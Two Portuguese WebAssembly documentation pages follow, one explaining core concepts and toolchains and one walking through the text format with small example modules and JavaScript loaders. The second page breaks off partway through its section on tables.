{"title":"Conceitos do WebAssembly - WebAssembly","text":"Conceitos do WebAssembly\n========================\n\nEste artigo explica os conceitos por trás de como o WebAssembly funciona, incluindo seus objetivos, os problemas que ele resolve e como ele roda dentro do mecanismo de renderização de um browser.\n\nO que é WebAssembly?\n--------------------\n\nWebAssembly é um novo tipo de código que pode ser executado nos browsers modernos e fornece novas carecterísticas e maiores ganhos em performance. Ele não foi pensado incialmente para ser escrito à mão, ao contrário, foi pensado para ser um compilador-alvo eficiente para linguagens de baixo nível como C, C++, Rust, etc.\n\nEle possui implicações enormes para a plataforma web — ele fornece um caminho para executar códigos escritos em múltiplas linguagens na web, com velocidades próximas às das linguagens nativas com apps sendo executados na web, onde antes não era possível.\n\nAlém disso, você não precisa saber como criar código WebAssembly para tirar vantagem dele. Os módulos WebAssembly podem ser importados num app web (ou Node.js), expondo funções do WebAssembly para uso via JavaScript. Os frameworks de JavaScript poderiam usar o WebAssembly para conseguir enormes vantagens de performance e novas características enquanto disponibiliza funcionalidades aos desenvolvedores web.\n\nObjetivos do WebAssembly\n------------------------\n\nWebAssembly está sendo criado em código aberto dentro do W3C WebAssembly Community Group com os seguintes objetivos:\n\n* Ser rápido, eficiente e móvel — o código WebAssembly pode ser executado a velocidades próximas de nativas entre diferentes plataformas, tirando vantagem das capacidades comuns de hardware.\n* Ser compreensível e debuggable — WebAssembly é uma linguagem assembly de baixo nível, mas ela tem um formato de texto compreensível para os humanos (especificação pela qual ainda está sendo finalizado) que permite que o código seja escrito, visto e debugado à mão.\n* Manter a segurança — WebAssembly é especificado para ser executado num ambiente seguro e controlado. Como outros códigos web, ele reforçará as mesmas políticas de origem e permissões dos browsers.\n* Não quebrar a web — WebAssembly foi pensado de maneira que ele seja executado em harmonia com outras tecnologias web, mantendo a compatibilidade retroativa.\n\n**Nota:** WebAssembly também terá usos fora dos ambientes web e JavaScript (veja Non-web embeddings).\n\nComo o WebAssembly se encaixa na plataforma web?\n------------------------------------------------\n\nA plataforma web pode ser dividida em duas partes:\n\n* Uma máquina virtual (VM) que executa o código de uma aplicação Web, por exemplo códigos JavaScript que enriquecem suas aplicações.\n* Um conjunto de Web APIs que um Web app pode invocar para controlar funcionalidades web browser/device (dispositivo) e fazer as coisas acontecerem (DOM, CSSOM, WebGL, IndexedDB, Web Audio API, etc.).\n\nHistoricamente, a VM tem tido permissão para carregar apenas JavaScript. Isto tem funcionado bem para nós, já que o JavaScript é poderoso o suficiente para resolver a maioria dos problemas da Web atualmente. No entanto, temos enfrentado problemas de performance, quando tentamos usar o JavaScript para tarefas mais intensivas como games em 3D, realidades virtual e aumentada, visão de computador, edição de imagens ou videos e um sem número de outros domínios que demandam performance nativa (veja Casos de uso WebAssembly para mais ideias).\n\nAdicionalmente, o custo de baixar, parsear e compilar aplicações JavaScript muito grandes, é proibitivo. Plataformas mobile e outras de recursos restritos, podem ampliar ainda mais estes gargalos de performance.\n\nWebAssembly é uma linguagem diferente do JavaScript, mas não foi pensada para ser sua substituta. Ao contrário, foi pensada para complementar e trabalhar lado a lado com o JavaScript, permitindo aos desenvolvedores web tirarem vantagem dos pontos fortes das duas linguagens:\n\n* JavaScript é uma linguagem de alto nível, flexível e expressiva o suficiente para escrever aplicações web. Ela tem muitas vantagens — é dinamicamente tipada, não ncessita ser compilada e tem um enorme ecossistema que disponibiliza poderosos frameworks, bibliotecas (libs) e outros recursos.\n* WebAssembly é uma linguagem de baixo nível do tipo assembly com um formato binário compacto, que é executado com performance próximo à nativa, que disponibiliza linguagens com modelos de memória de baixo nível como C++ e Rust, com uma compilação-alvo, assim podendo ser executados na web. (Note que o WebAssembly tem uma meta futura de suporte de alto nível para linguagens com modelos de memória garbage-collected.)\n\nCom o advento do WebAssembly nos browsers, a máquina virtual a que nos referimos antes, vai carregar e executar dois tipos de código — JavaScript E WebAssembly.\n\nOs diferentes tipos de códigos podem invocar um ao outro conforme necessário — o WebAssembly JavaScript API (en-US) encapsula código WebAssembly exportado com funções JavaScript que podem ser invocados normalmente, e código WebAssembly pode importar de forma síncrona, funções normais de JavaScript. Na verdade, a unidade básica do código WebAssembly é chamado de módulo, e módulos WebAssembly são semelhantes em vários níveis aos módulos de ES2015.\n\n### Conceitos-chave do WebAssembly\n\nExistem diversos conceitos-chave que precisam ser compreendidos, sobre como o WebAssembly é executado no browser. Todos estes conceitos são refletidos 1:1 na WebAssembly JavaScript API (en-US).\n\n* **Módulo**: Representa o binário do WebAssembly que foi compilado pelo browser, em código executável pela máquina. Um módulo não tem estado e, tal qual um Blob, pode ser explicitamente compartilhado entre janelas e workers (via `postMessage()`). Um Módulo declara imports e exports, assim com um módulo ES2015.\n* **Memória**: Um ArrayBuffer redimensionável que contém um array linear de bytes, lidos e escritos pelas intruções de memória de baixo nível do WebAssembly.\n* **Tabela**: Um array tipado de referências redimensionável (por exemplo para funções) que, em outra situação, não poderia ser armazenado como bytes puros na Memória (por questões de segurança e portabilidade).\n* **Instância**: Um Módulo pareado com todo o estado utilizado durante a execução, incluindo uma Memória, Tabela e um conjunto de valores importados. Uma Instância é como um módulo ES2015 que foi carregado em um global específico com um conjunto de importações específico.\n\nA API JavaScript disponibiliza aos desenvolvedores a habilidade de criar módulos, memórias, tabelas e instâncias. Dada uma instância WebAssembly, o código JavaScript pode, de forma síncrona, invocar seus exports, os quais são expostos como funções normais de JavaScript. Funções arbitrárias de JavaScript também podem ser invocadas de forma síncrona pelo código WebAssembly, sendo passados nestas funções JavaScript como imports para um instância WebAssembly.\n\nUma vez que o JavaScript tem controle total sobre como o código WebAssembly é carregado, compilado e executado, desenvolvedores JavaScript poderiam até pensar no WebAssembly como apenas uma ferramenta do JavaScript, para geração de funções de alta performance de forma eficiente.\n\nNo futuro, módulos WebAssembly serão carregáveis assim como módulos ES2015 (usando `<script type='module'>`), o que quer dizer que o JavaScript será capaz de buscar, compilar e importar um módulo WebAssembly tão facilmente quanto um módulo ES2015.\n\nComo eu utilizo o WebAssembly em minha aplicação?\n-------------------------------------------------\n\nAcima nós falamos sobre primitivas puras que o WebAssembly adiciona à plataforma Web: um formato binário para código e APIs para carregar e executar esse código binário. Agora vamos falar sobre como nós podemos utilizar estas primitivas na prática.\n\nO ecossistema do WebAssembly está em seu estado inicial: sem dúvidas, mais ferramentas vão aparecer. Neste momento, existem quatro pontos de entrada principais:\n\n* Portando uma aplicação C/C++ com Emscripten.\n* Escrevendo ou gerando WebAssembly diretamente no nível do assembly.\n* Escrevendo uma aplicação Rust e definindo WebAssembly como seu output.\n* Usando AssemblyScript que se parece com TypeScript e compila ao binário WebAssembly.\n\nVamos falar sobre estas opções:\n\n### Portando a partir de C/C++\n\nDuas das muitas opções para criar códigos WASM, são um assembler wasm online ou Emscripten. Existem algumas opções de assembler wasm online, como:\n\n* WasmFiddle\n* WasmFiddle++\n* WasmExplorer\n\nEstes são excelentes recursos para pessoas que estão tentando descobrir por onde começar, mas não possuem as otimizações e ferramentas do Emscripten.\n\nA ferramenta Emscripten é capaz de pegar qualquer código fonte C/C++ e compilá-lo para um módulo .wasm, além da \"cola\" JavaScript necessária para carregar e executar o módulo, e um documento HTML para exibir os resultados do código.\n\n![](/pt-BR/docs/WebAssembly/Concepts/emscripten-diagram.png)\n\nDe maneira resumida, o processo funciona da seguinte maneira:\n\n1. Emscripten primeiro alimenta o C/C++ no clang+LLVM — um maduro compilador C/C++, enviado como parte do Xcode do OSX, por exemplo.\n2. Emscripten transforma o resultado compilado do clang+LLVM em um binário .wasm\n3. Por si só, o WebAssembly atualmente não pode acessar diretamente o DOM; ele só pode chamar o JavaScript, transmitindo tipos de dados primitivos de ponto flutuante e inteiro. Portanto, para acessar qualquer API da Web, o WebAssembly precisa chamar o JavaScript, que faz a chamada da API da Web. Portanto, o Emscripten cria o código de \"cola\" HTML e JavaScript necessário para alcançar isso.\n\n**Nota:** Existem planos futuros para permitir o WebAssembly chamar APIs Web diretamente.\n\nO código de \"cola\" JavaScript não é tão simples quanto você imagina. Para começar, o Emscripten implementa bibliotecas populares de C/C++ como SDL, OpenGL, OpenAL e partes do POSIX. Essas bibliotecas são implementadas em termos de APIs da Web e, portanto, cada uma exige algum código JavaScript para conectar o WebAssembly à API da Web subjacente.\n\nPortanto, parte do código está implementando a funcionalidade de cada biblioteca respectiva usada pelo código C/C ++. O código de \"cola\" também contém a lógica para chamar as APIs JavaScript do WebAssembly mencionadas acima para buscar, carregar e executar o arquivo .wasm.\n\nO documento HTML gerado carrega o arquivo JavaScript e grava stdout em um `<textarea>`. Se o aplicativo usar OpenGL, o HTML também conterá um elemento `<canvas>` usado como destino de renderização. É muito fácil modificar a saída do Emscripten e transformá-la em qualquer aplicativo da web que você precisar.\n\nVocê pode encontrar a documentação completa em Emscripten em emscripten.org, e um guia para implementar a cadeia de ferramentas e compilar seu próprio aplicativo C/C ++ no wasm em Compiling from C/C++ to WebAssembly.\n\n### Escrevendo WebAssembly diretamente\n\nDeseja criar seu próprio compilador, ou suas próprias ferramentas, ou criar uma biblioteca JavaScript que gere o WebAssembly em tempo de execução?\n\nDa mesma maneira que as linguagens assembly físicas, o formato binário do WebAssembly tem uma representação de texto — os dois têm uma correspondência 1:1. Você pode escrever ou gerar esse formato manualmente e depois convertê-lo no formato binário com qualquer uma das várias WebAssemby text-to-binary tools.\n\nPara um guia simples de como fazer isso, consulte o artigo Converting WebAssembly text format to wasm (en-US).\n\n### Escrevendo em Rust mirando WebAssembly\n\nTambém é possível escrever o código Rust e compilar para WebAssembly, graças ao trabalho incansável do Rust WebAssembly Working Group. Você pode começar a instalar a cadeia de ferramentas necessária, compilar um programa Rust de amostra em um pacote npm do WebAssembly e usá-lo em um aplicativo web de amostra, no artigo Compiling from Rust to WebAssembly (en-US).\n\n### Usando AssemblyScript\n\nPara desenvolvedores web que quereem testar o WebAssembly sem a necessidade de abrende detalhes de C ou Rust, AssemblyScript irá sem a melhor opção. Ele gera um pequeno bundle e seu desempenho é um pouco mais lento comparado a C ou Rust. Você pode conferir sua documentação em https://docs.assemblyscript.org/.\n\nSumário\n-------\n\nEste artigo apresentou a você uma explicação sobre o que é o WebAssembly, porque ele é tão útil, como ele se encaixa na web e como você pode se utilizar dele.\n\nVeja também\n-----------\n\n* WebAssembly articles on Mozilla Hacks blog\n* WebAssembly on Mozilla Research\n* Loading and running WebAssembly code (en-US) — descubra como carregar seu próprio módulo WebAssembly numa página web.\n* Using the WebAssembly JavaScript API — descubra como utilizar outras características importantes do WebAssembly JavaScript API."}
{"title":"Entendendo o formato textual do WebAssembly - WebAssembly","text":"Entendendo o formato textual do WebAssembly\n===========================================\n\nPara permitir que o WebAssembly seja lido e editado por humanos, existe uma representação textual do formato binário Wasm. Este é um formulário intermediário projetado para ser exposto em editores de texto, ferramentas de desenvolvedor de navegador etc. Este artigo explica como esse formato de texto funciona, em termos de sintaxe bruta, e como ele está relacionado ao bytecode subjacente que ele representa — e os objetos wrapper que representam Wasm em JavaScript.\n\n**Nota:** Isso pode ser um exagero se você for um desenvolvedor da Web que deseja apenas carregar um módulo Wasm em uma página e usá-lo em seu código (consulte Usando a API JavaScript WebAssembly), mas é mais útil se, por exemplo, você deseja escrever módulos Wasm para otimizar o desempenho de sua biblioteca JavaScript ou criar seu próprio compilador WebAssembly.\n\nS-expressions\n-------------\n\nNos formatos binário e textual, a unidade fundamental de código no WebAssembly é um módulo. No formato de texto, um módulo é representado como uma grande S-expression. As S-expressions são um formato textual muito antigo e muito simples para representar árvores e, portanto, podemos pensar em um módulo como uma árvore de nós que descreve a estrutura do módulo e seu código. Ao contrário da Abstract Syntax Tree de uma linguagem de programação, porém, a árvore do WebAssembly é bastante plana, consistindo principalmente em listas de instruções.\n\nPrimeiro, vamos ver como é uma S-expression. Cada nó na árvore vai dentro de um par de parênteses — `( ... )`. O primeiro rótulo dentro dos parênteses informa que tipo de nó é e, depois disso, há uma lista separada por espaços de atributos ou nós filhos. Isso significa a S-expression do WebAssembly:\n\n\n```wasm\n(module (memory 1) (func))\n```\n\n\nrepresenta uma árvore com o nó raiz \"module\" e dois nós filhos, um nó \"memory\" com o atributo \"1\" e um nó \"func\". Veremos em breve o que esses nós realmente significam.\n\n### O módulo mais simples\n\nVamos começar com o módulo Wasm mais simples e mais curto possível.\n\n\n```wasm\n(module)\n```\n\n\nEste módulo está totalmente vazio, mas ainda é um módulo válido.\n\nSe convertermos nosso módulo para binário agora (consulte Convertendo o formato de texto WebAssembly para Wasm (en-US)), veremos apenas o cabeçalho do módulo de 8 bytes descrito no formato binário:\n\n\n```wasm\n0000000: 0061 736d              ; WASM_BINARY_MAGIC\n0000004: 0100 0000              ; WASM_BINARY_VERSION\n```\n\n### Adicionando funcionalidade ao seu módulo\n\nOk, isso não é muito interessante, vamos adicionar algum código executável a este módulo.\n\nTodo o código em um módulo webassembly é agrupado em funções, que possuem a seguinte estrutura de pseudocódigo:\n\n\n```wasm\n( func <assinatura> <locais> <corpo> )\n```\n\n\n* A **assinatura** declara o que a função recebe (parâmetros) e retorna (valores de retorno).\n* Os **locais** são como variáveis em JavaScript, mas com tipos explícitos declarados.\n* O **corpo** é apenas uma lista linear de instruções de baixo nível.\n\nPortanto, isso é semelhante a funções em outras linguagens, mesmo que pareça diferente porque é uma S-expression.\n\nAssinaturas e parâmetros\n------------------------\n\nA assinatura é uma sequência de declarações de tipo de parâmetro seguida por uma lista de declarações de tipo de retorno. Vale ressaltar aqui que:\n\n* A ausência de um `(result)` significa que a função não retorna nada.\n* Na iteração atual, pode haver no máximo 1 tipo de retorno, mas posteriormente isso será flexibilizado para qualquer número.\n\n Cada parâmetro tem um tipo explicitamente declarado; Wasm Tipos de número, Tipos de referência, Tipos de vetor.\n Os tipos de números são:\n\n* `i32`: inteiro de 32 bits\n* `i64`: inteiro de 64 bits\n* `f32`: flutuante de 32 bits\n* `f64`: flutuante de 64 bits\n\nUm único parâmetro é escrito `(param i32)` e o tipo de retorno é escrito `(result i32)`, portanto, uma função binária que recebe dois inteiros de 32 bits e retorna um float de 64 bits seria escrita assim:\n\n\n```wasm\n(func (param i32) (param i32) (result f64) ...)\n```\n\n\nApós a assinatura, os locais são listados com seu tipo, por exemplo `(local i32)`. Parâmetros são basicamente apenas locais que são inicializados com o valor do argumento correspondente passado pelo chamador.\n\nObtendo e configurando locais e parâmetros\n------------------------------------------\n\nLocais/parâmetros podem ser lidos e escritos pelo corpo da função com as instruções `local.get` e `local.set`.\n\nOs comandos `local.get`/`local.set` referem-se ao item a ser obtido/definido por seu índice numérico: os parâmetros são referidos primeiro, na ordem de sua declaração, seguidos pelos locais na ordem de sua declaração. Assim, dada a seguinte função:\n\n\n```wasm\n(func (param i32) (param f32) (local f64)\n  local.get 0\n  local.get 1\n  local.get 2)\n```\n\n\nA instrução `local.get 0` obteria o parâmetro i32, `local.get 1` obteria o parâmetro f32 e `local.get 2` obteria o f64 local.\n\nHá outro problema aqui - usar índices numéricos para se referir a itens pode ser confuso e irritante, então o formato de texto permite que você nomeie parâmetros, locais e a maioria dos outros itens simplesmente incluindo um nome prefixado por um cifrão (`$`) logo antes da declaração de tipo.\n\nAssim, você poderia reescrever nossa assinatura anterior assim:\n\n\n```wasm\n(func (param $p1 i32) (param $p2 f32) (local $loc f64) …)\n```\n\n\nE então poderia escrever `local.get $p1` em vez de `local.get 0`, etc. (Observe que, quando este texto for convertido em binário, o binário conterá apenas o número inteiro).\n\nMáquinas de pilha\n-----------------\n\nAntes de podermos escrever um corpo de função, temos que falar sobre mais uma coisa: **máquinas de pilha**. Embora o navegador o compile para algo mais eficiente, a execução do Wasm é definida em termos de uma máquina de pilha onde a ideia básica é que todo tipo de instrução empurra e/ou retira um certo número de valores `i32`/`i64`/`f32`/`f64` para/de uma pilha.\n\nPor exemplo, `local.get` é definido para colocar o valor do local lido na pilha e `i32.add` empurra dois valores `i32` (ele implicitamente pega os dois valores anteriores colocados na pilha), calcula sua soma (módulo 2^32) e empurra o valor `i32` resultante.\n\nQuando uma função é chamada, ela começa com uma pilha vazia que é gradualmente preenchida e esvaziada conforme as instruções do corpo são executadas. Por exemplo, depois de executar a seguinte função:\n\n\n```wasm\n(func (param $p i32)\n  (result i32)\n  local.get $p\n  local.get $p\n  i32.add)\n```\n\n\nA pilha contém exatamente um valor `i32` — o resultado da expressão (`$p + $p`), que é tratado por `i32.add`. O valor de retorno de uma função é apenas o valor final deixado na pilha.\n\nAs regras de validação do WebAssembly garantem que a pilha corresponda exatamente: se você declarar um `(result f32)`, a pilha deve conter exatamente um `f32` no final. Se não houver nenhum tipo de resultado, a pilha deverá estar vazia.\n\nNosso primeiro corpo funcional\n------------------------------\n\nComo mencionado anteriormente, o corpo da função é uma lista de instruções que são seguidas conforme a função é chamada. Juntando isso com o que já aprendemos, podemos finalmente definir um módulo contendo nossa própria função simples:\n\n\n```wasm\n(module\n  (func (param $lhs i32) (param $rhs i32) (result i32)\n    local.get $lhs\n    local.get $rhs\n    i32.add))\n```\n\n\nEsta função obtém dois parâmetros, soma-os e retorna o resultado.\n\nHá muito mais coisas que podem ser colocadas dentro dos corpos das funções, mas começaremos simples por enquanto, e você verá muito mais exemplos à medida que avança. Para obter uma lista completa dos opcodes disponíveis, consulte a referência de semântica webassembly.org.\n\n### Chamando a função\n\nNossa função não fará muito sozinha — agora precisamos chamá-la. Como fazemos isso? Como em um módulo ES, as funções Wasm devem ser explicitamente exportadas por uma instrução `export` dentro do módulo.\n\nComo os locais, as funções são identificadas por um índice por padrão, mas por conveniência, elas podem ser nomeadas. Vamos começar fazendo isso — primeiro, adicionaremos um nome precedido por um cifrão, logo após a palavra-chave `func`:\n\n\n```wasm\n(func $add …)\n```\n\n\nAgora precisamos adicionar uma declaração de exportação — fica assim:\n\n\n```wasm\n(export \"add\" (func $add))\n```\n\n\nAqui, `add` é o nome pelo qual a função será identificada em JavaScript, enquanto `$add` seleciona qual função WebAssembly dentro do módulo está sendo exportada.\n\nPortanto, nosso módulo final (por enquanto) fica assim:\n\n\n```wasm\n(module\n  (func $add (param $lhs i32) (param $rhs i32) (result i32)\n    local.get $lhs\n    local.get $rhs\n    i32.add)\n  (export \"add\" (func $add))\n)\n```\n\n\nSe você quiser seguir o exemplo, salve nosso módulo acima em um arquivo chamado `add.wat`, então converta-o em um arquivo binário chamado `add.wasm` usando wabt (consulte Convertendo o formato de texto WebAssembly para Wasm (en-US) para detalhes).\n\nEm seguida, instanciaremos nosso binário de forma assíncrona (consulte Carregando e executando o código WebAssembly (en-US)) e executaremos nossa função `add` em JavaScript (agora podemos encontrar `add()` na propriedade `exports` (en-US) da instância):\n\n\n```js\nWebAssembly.instantiateStreaming(fetch(\"add.wasm\")).then((obj) => {\n  console.log(obj.instance.exports.add(1, 2)); // \"3\"\n});\n```\n\n\n**Nota:** Você pode encontrar este exemplo no GitHub como add.html (veja ao vivo também). Consulte também `WebAssembly.instantiateStreaming()` (en-US) para obter mais detalhes sobre a função instanciar.\n\nExplorando fundamentos\n----------------------\n\nAgora que cobrimos o básico real, vamos ver alguns recursos mais avançados.\n\n### Chamando funções de outras funções no mesmo módulo\n\nA instrução `call` chama uma única função, dado seu índice ou nome. Por exemplo, o seguinte módulo contém duas funções — uma apenas retorna o valor 42, a outra retorna o resultado da chamada do primeiro mais um:\n\n\n```wasm\n(module\n  (func $getAnswer (result i32)\n    i32.const 42)\n  (func (export \"getAnswerPlus1\") (result i32)\n    call $getAnswer\n    i32.const 1\n    i32.add))\n```\n\n\n**Nota:** `i32.const` apenas define um inteiro de 32 bits e o coloca na pilha. Você pode trocar o `i32` por qualquer um dos outros tipos disponíveis e alterar o valor do const para o que quiser (aqui definimos o valor para `42`).\n\nNeste exemplo, você notará uma seção `(export \"getAnswerPlus1\")`, declarada logo após a instrução `func` na segunda função — esta é uma forma abreviada de declarar que queremos exportar esta função e definir o nome como queremos exportá-la.\n\nIsso é funcionalmente equivalente a incluir uma instrução de função separada fora da função, em outro lugar no módulo da mesma maneira que fizemos antes, por exemplo:\n\n\n```wasm\n(export \"getAnswerPlus1\" (func $functionName))\n```\n\n\nO código JavaScript para chamar nosso módulo acima se parece com:\n\n\n```js\nWebAssembly.instantiateStreaming(fetch(\"call.wasm\")).then((obj) => {\n  console.log(obj.instance.exports.getAnswerPlus1()); // \"43\"\n});\n```\n\n### Importando funções do JavaScript\n\nJá vimos JavaScript chamando funções WebAssembly, mas e o WebAssembly chamando funções JavaScript? O WebAssembly não possui nenhum conhecimento interno de JavaScript, mas possui uma maneira geral de importar funções que podem aceitar funções JavaScript ou Wasm. Vejamos um exemplo:\n\n\n```wasm\n(module\n  (import \"console\" \"log\" (func $log (param i32)))\n  (func (export \"logIt\")\n    i32.const 13\n    call $log))\n```\n\n\nWebAssembly tem um namespace de dois níveis, então a declaração de importação aqui está dizendo que estamos pedindo para importar a função `log` do módulo `console`. Você também pode ver que a função `logIt` exportada chama a função importada usando a instrução `call` que introduzimos acima.\n\nAs funções importadas são como funções normais: elas têm uma assinatura que a validação do WebAssembly verifica estaticamente e recebem um índice e podem ser nomeadas e chamadas.\n\nAs funções JavaScript não têm noção de assinatura, portanto qualquer função JavaScript pode ser passada, independentemente da assinatura declarada na importação. Depois que um módulo declara uma importação, o chamador de `WebAssembly.instantiate()` (en-US) deve passar um objeto de importação que tenha as propriedades correspondentes.\n\nPara o exposto acima, precisamos de um objeto (vamos chamá-lo de `importObject`) de modo que `importObject.console.log` seja uma função JavaScript.\n\nIsso ficaria parecido com o seguinte:\n\n\n```js\nconst importObject = {\n  console: {\n    log(arg) {\n      console.log(arg);\n    },\n  },\n};\n\nWebAssembly.instantiateStreaming(fetch(\"logger.wasm\"), importObject).then(\n  (obj) => {\n    obj.instance.exports.logIt();\n  },\n);\n```\n\n\n**Nota:** Você pode encontrar este exemplo no GitHub como logger.html (veja ao vivo também).\n\n### Declarando globais no WebAssembly\n\nO WebAssembly tem a capacidade de criar instâncias de variáveis globais, acessíveis a partir de JavaScript e importáveis/exportáveis em uma ou mais instâncias `WebAssembly.Module` (en-US). Isso é muito útil, pois permite a vinculação dinâmica de vários módulos.\n\nNo formato de texto WebAssembly, é mais ou menos assim (consulte global.wat em nosso repositório GitHub; consulte também global.html para uma transmissão ao vivo Exemplo de JavaScript):\n\n\n```wasm\n(module\n   (global $g (import \"js\" \"global\") (mut i32))\n   (func (export \"getGlobal\") (result i32)\n        (global.get $g))\n   (func (export \"incGlobal\")\n        (global.set $g\n            (i32.add (global.get $g) (i32.const 1))))\n)\n```\n\n\nIsso é semelhante ao que vimos antes, exceto que especificamos um valor global usando a palavra-chave `global` e também especificamos a palavra-chave `mut` junto com o tipo de dados do valor, se quisermos que ele seja mutável.\n\nPara criar um valor equivalente usando JavaScript, você usaria o construtor `WebAssembly.Global()` (en-US):\n\n\n```js\nconst global = new WebAssembly.Global({ value: \"i32\", mutable: true }, 0);\n```\n\n### Memória WebAssembly\n\nO exemplo acima é uma função de registro terrível: ela imprime apenas um único inteiro! E se quiséssemos registrar uma string de texto? Para lidar com strings e outros tipos de dados mais complexos, o WebAssembly fornece **memory** (embora também tenhamos tipos de referência na implementação mais recente do WebAssembly). De acordo com o WebAssembly, a memória é apenas uma grande matriz de bytes que pode crescer com o tempo. O WebAssembly contém instruções como `i32.load` e `i32.store` para leitura e gravação de memória linear.\n\nDo ponto de vista do JavaScript, é como se a memória estivesse toda dentro de um grande `ArrayBuffer` (redimensionável). Isso é literalmente tudo o que o asm.js tem para brincar (exceto que não é redimensionável; veja o asm.js modelo de programação).\n\nPortanto, uma string é apenas uma sequência de bytes em algum lugar dentro dessa memória linear. Vamos supor que escrevemos uma string adequada de bytes na memória; como passamos essa string para JavaScript?\n\nA chave é que o JavaScript pode criar instâncias de memória linear WebAssembly por meio da interface `WebAssembly.Memory()` (en-US) e acessar uma instância de memória existente (atualmente, você só pode ter uma por instância de módulo) usando os métodos de instância associados. As instâncias de memória têm um getter `buffer` (en-US), que retorna um `ArrayBuffer` que aponta para toda a memória linear.\n\nAs instâncias de memória também podem aumentar, por exemplo, por meio do método `Memory.grow()` (en-US) em JavaScript. Quando o crescimento ocorre, já que `ArrayBuffer`s não podem mudar de tamanho, o `ArrayBuffer` atual é separado e um novo `ArrayBuffer` é criado para apontar para a memória maior e mais nova. Isso significa que tudo o que precisamos fazer para passar uma string para JavaScript é passar o deslocamento da string na memória linear junto com alguma forma de indicar o comprimento.\n\nEmbora existam muitas maneiras de codificar o comprimento de uma string na própria string (por exemplo, strings C); para simplificar aqui, apenas passamos o deslocamento e o comprimento como parâmetros:\n\n\n```wasm\n(import \"console\" \"log\" (func $log (param i32) (param i32)))\n```\n\n\nNo lado do JavaScript, podemos usar a API TextDecoder (en-US) para decodificar facilmente nossos bytes em uma string JavaScript. (Especificamos `utf8` aqui, mas muitas outras codificações são suportadas.)\n\n\n```js\nfunction consoleLogString(offset, length) {\n  const bytes = new Uint8Array(memory.buffer, offset, length);\n  const string = new TextDecoder(\"utf8\").decode(bytes);\n  console.log(string);\n}\n```\n\n\nA última peça que falta do quebra-cabeça é onde `consoleLogString` obtém acesso à `memory` do WebAssembly. WebAssembly nos dá muita flexibilidade aqui: podemos criar um objeto `Memory` (en-US) em JavaScript e fazer com que o módulo WebAssembly importe a memória, ou podemos fazer com que o módulo WebAssembly crie a memória e exporte-a para JavaScript.\n\nPara simplificar, vamos criá-lo em JavaScript e depois importá-lo para o WebAssembly. Nossa instrução `import` é escrita da seguinte forma:\n\n\n```wasm\n(import \"js\" \"mem\" (memory 1))\n```\n\n\nO `1` indica que a memória importada deve ter pelo menos 1 página de memória (o WebAssembly define uma página como 64KB).\n\nEntão vamos ver um módulo completo que imprime a string \"Hi\". Em um programa C compilado normal, você chamaria uma função para alocar um pouco de memória para a string, mas como estamos apenas escrevendo nosso próprio assembly aqui e possuímos toda a memória linear, podemos apenas escrever o conteúdo da string na memória global usando uma seção `data`. As seções de dados permitem que uma sequência de bytes seja escrita em um determinado deslocamento no tempo de instanciação e são semelhantes às seções `.data` em formatos executáveis nativos.\n\nNosso módulo Wasm final se parece com isso:\n\n\n```wasm\n(module\n  (import \"console\" \"log\" (func $log (param i32 i32)))\n  (import \"js\" \"mem\" (memory 1))\n  (data (i32.const 0) \"Hi\")\n  (func (export \"writeHi\")\n    i32.const 0  ;; pass offset 0 to log\n    i32.const 2  ;; pass length 2 to log\n    call $log))\n```\n\n\n**Nota:** Acima, observe a sintaxe de ponto e vírgula dupla (`;;`) para permitir comentários em arquivos WebAssembly.\n\nAgora, a partir do JavaScript, podemos criar uma memória com 1 página e passá-la. Isso resulta em \"Hi\" sendo impresso no console:\n\n\n```js\nconst memory = new WebAssembly.Memory({ initial: 1 });\n\nconst importObject = {\n  console: { log: consoleLogString },\n  js: { mem: memory },\n};\n\nWebAssembly.instantiateStreaming(fetch(\"logger2.wasm\"), importObject).then(\n  (obj) => {\n    obj.instance.exports.writeHi();\n  },\n);\n```\n\n\n**Nota:** Você pode encontrar a fonte completa no GitHub como logger2.html (também veja ao vivo).\n\n### Tabelas WebAssembly\n\nPara terminar este tour pelo formato de texto do WebAssembly, vamos dar uma olhada na parte mais complexa e muitas vezes confusa do WebAssembly: **tables**. As tabelas são basicamente matrizes redimensionáveis de referências que podem ser acessadas por índice do código WebAssembly.\n\nPara ver por que as tabelas são necessárias, precisamos primeiro observar que a instrução `call` que vimos anteriormente (consulte Chamando funções de outras funções no mesmo módulo) usa um índice de função estático e, portanto, só pode chamar uma função - mas e se o callee for um valor de tempo de execução?\n\n* Em JavaScript, vemos isso o tempo todo: funções são valores de primeira classe.\n* Em C/C++, vemos isso com ponteiros de função.\n* Em C++, vemos isso com funções virtuais.\n\nO WebAssembly precisava de um tipo de instrução de chamada para conseguir isso, então demos a ela `call_indirect`, que recebe um operando de função dinâmica. O problema é que os únicos tipos que temos para dar operandos no WebAssembly são (atualmente) `i32`/`i64`/`f32`/`f64`.\n\nWebAssembly poderia adicionar um tipo `anyfunc` (\"qualquer\" porque o tipo poderia conter funções de qualquer assinatura), mas infelizmente este tipo `anyfunc` não poderia ser armazenado na memória linear por razões de segurança. A memória linear expõe o conteúdo bruto de valores armazenados como bytes e isso permitiria que o conteúdo do Wasm observasse e corrompesse arbitrariamente os endereços de funções brutas, algo que não pode ser permitido na web.\n\nA solução foi armazenar as referências de função em uma tabela e, em vez disso, passar os índices da tabela, que são apenas valores i32. O operando de `call_indirect` pode, portanto, ser um valor de índice i32.\n\n#### Definindo uma tabela no Wasm\n\nEntão, como colocamos as funções Wasm em nossa tabela? Assim como as seções `data` podem ser usadas para inicializar regiões de memória linear com bytes, as seções `elem` podem ser usadas para inicializar regiões de tabelas com funções:\n\n\n```wasm\n(module\n  (table 2 funcref)\n  (elem (i32.const 0) $f1 $f2)\n  (func $f1 (result i32)\n    i32.const 42)\n  (func $f2 (result i32)\n    i32.const 13)\n  ...\n)\n```\n\n\n* Em `(table 2 funcref)`, o 2 é o tamanho inicial da tabela (ou seja, irá armazenar duas referências) e `funcref` declara que o tipo de elemento dessas referências é referência de função.\n* As seções de funções (`func`) são como quaisquer outras funções declaradas do Wasm. Estas são as funções às quais vamos nos referir em nossa tabela (por exemplo, cada uma apenas retorna um valor constante). Observe que a ordem em que as seções são declaradas não importa aqui — você pode declarar suas funções em qualquer lugar e ainda se referir a elas em sua seção `elem`.\n* A seção `elem` pode listar qualquer subconjunto das funções em um módulo, em qualquer ordem, permitindo duplicatas. Esta é uma lista das funções que devem ser referenciadas pela tabela, na ordem em que devem ser referenciadas.\n* O valor `(i32.const 0)` dentro da seção `elem` é um deslocamento — isso precisa ser declarado no início da seção e especifica em qual índice na tabela as referências de função começam a ser preenchidas. Aqui especificamos 0 e um tamanho de 2 (veja acima), para que possamos preencher duas referências nos índices 0 e 1. Se quiséssemos começar a escrever 